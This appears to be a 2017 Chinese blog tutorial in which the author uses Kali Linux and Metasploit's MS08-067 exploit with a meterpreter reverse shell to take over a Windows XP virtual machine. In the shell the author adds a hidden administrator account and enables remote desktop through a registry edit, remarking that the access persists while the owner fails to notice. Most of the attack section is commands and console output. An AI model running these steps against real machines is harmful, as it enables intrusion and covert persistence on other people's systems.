首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >kali入侵windows

kali入侵windows

作者头像
热心的社会主义接班人
发布2018-04-27 13:30:42
3.7K0
发布2018-04-27 13:30:42
举报
文章被收录于专栏:cscs

因为我是一个爱好和平的人(捂嘴笑),所以就在虚拟机中,创建二个系统,一个kali,一个windows xp,来进行这次入侵实验,以此迈入hacke的大门。


实验环境

实验环境.jpg

试验工具

kaili linux 百度百科

其预装了许多试验工具,包括nmap 、Wireshark 、John the Ripper ,以及Aircrack-ng.2 用户可通过硬盘、live CD或live USB运行Kali Linux。

Metasploit 百度百科

Metasploit是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。


知识点综述

1.0 熟悉虚拟机vmware的相关知识,因为本环境是在VM中进行的,需要安装kaili linux和windows xp,以及设计虚拟机网络,其可以参考文章:vmware14.0知识点手册.

2.0 计算机网络相关知识点。

2.1 vmware的虚拟网络

与物理交换机相似,虚拟交换机也能将网络连接组件连接在一起。虚拟交换机又称为虚拟网络,其名称为VMnet0、VMnet1、VMnet2,以此类推。有少量虚拟交换机会默认映射到特定网络。

虚拟网络适配器模型.jpg

虚拟网络交换机.jpg

桥接模式网络连接 桥接模式网络连接通过使用主机系统上的网络适配器将虚拟机连接到网络

桥接.jpg

NAT 模式网络连接 使用 NAT 模式网络时,虚拟机在外部网络中不必具有自己的 IP 地址。主机系统上会建立单独的专用网络。

NAT网络.jpg

仅主机模式网络连接 仅主机模式网络连接可创建完全包含在主机中的网络。

主机模式.jpg

2.2 IP(这里是ipv4)地址分类,网络类型。

ip地址,由《net-id,host-id》二部分组成。根据网络号的位数,把ip划分为A,B,C,D,E几大类,其中A类(0,127),B类(128,191),C类(192,223)

3.0 VMWare虚拟机提供的桥接、nat和主机模式的区别

所以本次试验的虚拟机网络采用桥接方式,所以主要介绍下桥接。 bridged(桥接模式) 在这种模式下,VMWare虚拟出来的操作系统就像是局域网中的一台独立的主机,它可以访问网内任何一台机器。 在桥接模式下,因为是独立的主机系统,那么就需要为虚拟系统配置IP、子网掩码。 使用桥接模式的虚拟系统和宿主机器的关系,就像连接在同一个Hub上的两台电脑。想让它们相互通讯,你就需要为虚拟系统配置IP地址和子网掩码,否则就无法通信。而且还要和宿主机器处于同一网段,这样虚拟系统才能和宿主机器进行通信。


重要细节

1.0 因为在vmware模拟kaili入侵windows xp所以要保证这二台虚拟机可以通信,试验的vmware采用桥接网络,二台虚拟机相当于独立的主机,在vmware想要通信,必须处于同一网段(就是网络号要一样),二台主机设置kaili设置为192.168.201.133,windows xp设置为192.168.201.135,它们是C类ip,前3位是网络号,都是192.168.201相同,可以通信,可以采用ping命令进行。

2.0 为了试验效果明显,最好关闭掉windows的防火墙,这样入侵更容易,而且自己原本的主机把杀毒软件也关闭了。


入侵开始

1.0 查看linux的ip地址

root@kali:~# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.201.133  netmask 255.255.255.0  broadcast 192.168.201.255
        inet6 fe80::20c:29ff:fecc:87cf  prefixlen 64  scopeid 0x20<link>
        ether 00:0c:29:cc:87:cf  txqueuelen 1000  (Ethernet)
        RX packets 30  bytes 2530 (2.4 KiB)
        RX errors 0  dropped 5  overruns 0  frame 0
        TX packets 51  bytes 3303 (3.2 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 52  bytes 3756 (3.6 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 52  bytes 3756 (3.6 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

这里可以看出我的ip地址为192.168.201.133。如果想要修改ip地址可以采用 ifconfig eth0 192.168.201.136 命令 其中127.0.0.1 127.0.0.1是回送地址,指本地机,一般用来测试使用。回送地址(127.x.x.x)是本机回送地址(Loopback Address),即主机IP堆栈内部的IP地址,主要用于网络软件测试以及本地机进程间通信,无论什么程序,一旦使用回送地址发送数据,协议软件立即返回,不进行任何网络传输。

2.0 ping命令,测试linux和windows是否可以通信

root@kali:~# ping -c 2 192.168.201.135
PING 192.168.201.135 (192.168.201.135) 56(84) bytes of data.
64 bytes from 192.168.201.135: icmp_seq=1 ttl=128 time=13.5 ms
64 bytes from 192.168.201.135: icmp_seq=2 ttl=128 time=0.395 ms

--- 192.168.201.135 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 0.395/6.986/13.578/6.592 ms

linux的ping和windows有所不同,如果不设置次数会一直ping下去。

root@kali:~# ping
Usage: ping [-aAbBdDfhLnOqrRUvV64] [-c count] [-i interval] [-I interface]
            [-m mark] [-M pmtudisc_option] [-l preload] [-p pattern] [-Q tos]
            [-s packetsize] [-S sndbuf] [-t ttl] [-T timestamp_option]
            [-w deadline] [-W timeout] [hop1 ...] destination

3.0 开启SQL数据库服务

root@kali:~# service postgresql start 

4.0 终端执行msfconsole 命令

root@kali:~# msfconsole 
                                                  
# cowsay++
 ____________
< metasploit >
 ------------
       \   ,__,
        \  (oo)____
           (__)    )\
              ||--|| *


       =[ metasploit v4.16.6-dev                          ]
+ -- --=[ 1682 exploits - 964 auxiliary - 297 post        ]
+ -- --=[ 498 payloads - 40 encoders - 10 nops            ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

使用help命令查看其参数和用法

msf > help

Core Commands
=============

    Command       Description
    -------       -----------
    ?             Help menu
    banner        Display an awesome metasploit banner
    cd            Change the current working directory
    color         Toggle color
    connect       Communicate with a host
    exit          Exit the console
    get           Gets the value of a context-specific variable
    getg          Gets the value of a global variable
    grep          Grep the output of another command
    help          Help menu
    history       Show command history
    irb           Drop into irb scripting mode
    load          Load a framework plugin
    quit          Exit the console
    route         Route traffic through a session
    save          Saves the active datastores
    sessions      Dump session listings and display information about sessions
    set           Sets a context-specific variable to a value
    setg          Sets a global variable to a value
    sleep         Do nothing for the specified number of seconds
    spool         Write console output into a file as well the screen
    threads       View and manipulate background threads
    unload        Unload a framework plugin
    unset         Unsets one or more context-specific variables
    unsetg        Unsets one or more global variables
    version       Show the framework and console library version numbers


Module Commands
===============

    Command       Description
    -------       -----------
    advanced      Displays advanced options for one or more modules
    back          Move back from the current context
    edit          Edit the current module with the preferred editor
    info          Displays information about one or more modules
    loadpath      Searches for and loads modules from a path
    options       Displays global options or for one or more modules
    popm          Pops the latest module off the stack and makes it active
    previous      Sets the previously loaded module as the current module
    pushm         Pushes the active or list of modules onto the module stack
    reload_all    Reloads all modules from all defined module paths
    search        Searches module names and descriptions
    show          Displays modules of a given type, or all modules
    use           Selects a module by name


Job Commands
============

    Command       Description
    -------       -----------
    handler       Start a payload handler as job
    jobs          Displays and manages jobs
    kill          Kill a job
    rename_job    Rename a job


Resource Script Commands
========================

    Command       Description
    -------       -----------
    makerc        Save commands entered since start to a file
    resource      Run the commands stored in a file


Database Backend Commands
=========================

    Command           Description
    -------           -----------
    db_connect        Connect to an existing database
    db_disconnect     Disconnect from the current database instance
    db_export         Export a file containing the contents of the database
    db_import         Import a scan result file (filetype will be auto-detected)
    db_nmap           Executes nmap and records the output automatically
    db_rebuild_cache  Rebuilds the database-stored module cache
    db_status         Show the current database status
    hosts             List all hosts in the database
    loot              List all loot in the database
    notes             List all notes in the database
    services          List all services in the database
    vulns             List all vulnerabilities in the database
    workspace         Switch between database workspaces


Credentials Backend Commands
============================

    Command       Description
    -------       -----------
    creds         List all credentials in the database

5.0 运行search netapi命令搜索netapi,在metasploip框架中列出所有与netapi相关的漏洞利用代码

msf > search  netapi

Matching Modules
================

   Name                                 Disclosure Date  Rank    Description
   ----                                 ---------------  ----    -----------
   exploit/windows/smb/ms03_049_netapi  2003-11-11       good    MS03-049 Microsoft Workstation Service NetAddAlternateComputerName Overflow
   exploit/windows/smb/ms06_040_netapi  2006-08-08       good    MS06-040 Microsoft Server Service NetpwPathCanonicalize Overflow
   exploit/windows/smb/ms06_070_wkssvc  2006-11-14       manual  MS06-070 Microsoft Workstation Service NetpManageIPCConnect Overflow
   exploit/windows/smb/ms08_067_netapi  2008-10-28       great   MS08-067 Microsoft Server Service Relative Path Stack Corruption

可以看到最后一个漏洞利用代码的评级为great,所以优先使用ms08_067_netapi。 show tagrgets可以查看攻击平台 show opinions可以查看攻击需要设置那些参数 show payloads可以查看使用的攻击载荷

6.0使用 use exploit/windows/smb/ms08_067_netapi ,设置参数

msf > use exploit/windows/smb/ms08_067_netapi 

msf exploit(ms08_067_netapi) > set rhost 192.168.201.135
rhost => 192.168.201.135
msf exploit(ms08_067_netapi) > check
[+] 192.168.201.135:445 The target is vulnerable.
msf exploit(ms08_067_netapi) > set lhost 192.168.201.133
lhost => 192.168.201.133
msf exploit(ms08_067_netapi) > set target 34
msf exploit(ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp_allports 
payload => windows/meterpreter/reverse_tcp_allports

msf exploit(ms08_067_netapi) > exploit 
[*] Started reverse TCP handler on 192.168.201.133:1 
[*] 192.168.201.135:445 - Attempting to trigger the vulnerability...
[*] Sending stage (179267 bytes) to 192.168.201.135
[*] Meterpreter session 1 opened (192.168.201.133:1 -> 192.168.201.135:1031) at 2017-10-27 23:03:20 +0800

set rhost是设置目标主机ip setset lhost设置本机ip set payload设置攻击载荷 exploit,是实行攻击,如果成功,会得到一个session,可以使用meterpreter模板进一步提取

7.0 输入shell,获取受控zhuji的shel,我这里是windows的dos。

meterpreter > shell
Process 1968 created.
Channel 1 created.
Microsoft Windows XP [锟芥本 5.1.2600]
(C) 锟斤拷权锟斤拷锟斤拷 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>net user ztg 123456 /add
net user ztg 123456 /add
锟绞伙拷锟窖撅拷锟斤拷锟节★拷

锟斤拷锟斤拷锟斤拷 NET HELPMSG 2224 锟皆伙拷锟矫革拷锟斤拷锟侥帮拷锟斤拷锟斤拷


C:\WINDOWS\system32>net localgroup administrators ztg /add
net localgroup administrators ztg /add
锟斤拷锟斤拷系统锟斤拷锟斤拷 1378锟斤拷

锟斤拷锟斤拷锟绞伙拷锟斤拷锟斤拷锟角憋拷锟斤拷锟斤拷锟侥筹拷员锟斤拷


C:\WINDOWS\system32>REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

锟斤拷锟斤拷锟缴癸拷锟斤拷锟斤拷

C:\WINDOWS\system32>netstat -an 
netstat -an 

Active Connections

  Proto  Local Address          Foreign Address        State
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:3389           0.0.0.0:0              LISTENING
  TCP    127.0.0.1:1026         0.0.0.0:0              LISTENING
  TCP    192.168.201.135:139    0.0.0.0:0              LISTENING
  TCP    192.168.201.135:1031   192.168.201.133:1      ESTABLISHED
  UDP    0.0.0.0:445            *:*                    
  UDP    0.0.0.0:500            *:*                    
  UDP    0.0.0.0:4500           *:*                    
  UDP    127.0.0.1:123          *:*                    
  UDP    127.0.0.1:1025         *:*                    
  UDP    127.0.0.1:1900         *:*                    
  UDP    192.168.201.135:123    *:*                    
  UDP    192.168.201.135:137    *:*                    
  UDP    192.168.201.135:138    *:*                    
  UDP    192.168.201.135:1900   *:*                    

C:\WINDOWS\system32>ipconfig -all
ipconfig -all

Windows IP Configuration

        Host Name . . . . . . . . . . . . : dflx
        Primary Dns Suffix  . . . . . . . : 
        Node Type . . . . . . . . . . . . : Unknown
        IP Routing Enabled. . . . . . . . : No
        WINS Proxy Enabled. . . . . . . . : No

Ethernet adapter 锟斤拷锟斤拷锟斤拷锟斤拷:

        Connection-specific DNS Suffix  . : 
        Description . . . . . . . . . . . : VMware Accelerated AMD PCNet Adapter
        Physical Address. . . . . . . . . : 00-0C-29-04-23-53
        Dhcp Enabled. . . . . . . . . . . : No
        IP Address. . . . . . . . . . . . : 192.168.201.135
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 

进入windows界面,dos大神可以畅通无阻了,不过如果喜欢windows界面,可以安装上面的方法,进行操作,在远程桌面。

net user ztg 123456 /add

添加一个用户名为ztg,密码123456

C:\WINDOWS\system32>net localgroup administrators ztg /add
net localgroup administrators ztg /add

把ztg添加到管理员用户组

C:\WINDOWS\system32>REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

是手动开启3389(远程桌面连接端口)


在利用远程桌面,登陆别人的电脑,进行相关的操作了。告诉你一个小细节,在目标机中会出现你建立的管理员账号喔,可以多少远程登录了,只要对方没有发现。

有没有人来黑我一下啊(捂嘴笑)。我的ip:127.0.0.1,系统是windows 10 64位家庭版。

哎,这几天没有跑步,今天早上终于跑了,感冒了一整个十月,现在还在感冒中,哭死,哭死。

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2017.10.30 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 实验环境
  • 试验工具
  • 知识点综述
  • 重要细节
  • 入侵开始
相关产品与服务
专用宿主机
专用宿主机(CVM Dedicated Host,CDH)提供用户独享的物理服务器资源,满足您资源独享、资源物理隔离、安全、合规需求。专用宿主机搭载了腾讯云虚拟化系统,购买之后,您可在其上灵活创建、管理多个自定义规格的云服务器实例,自主规划物理资源的使用。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档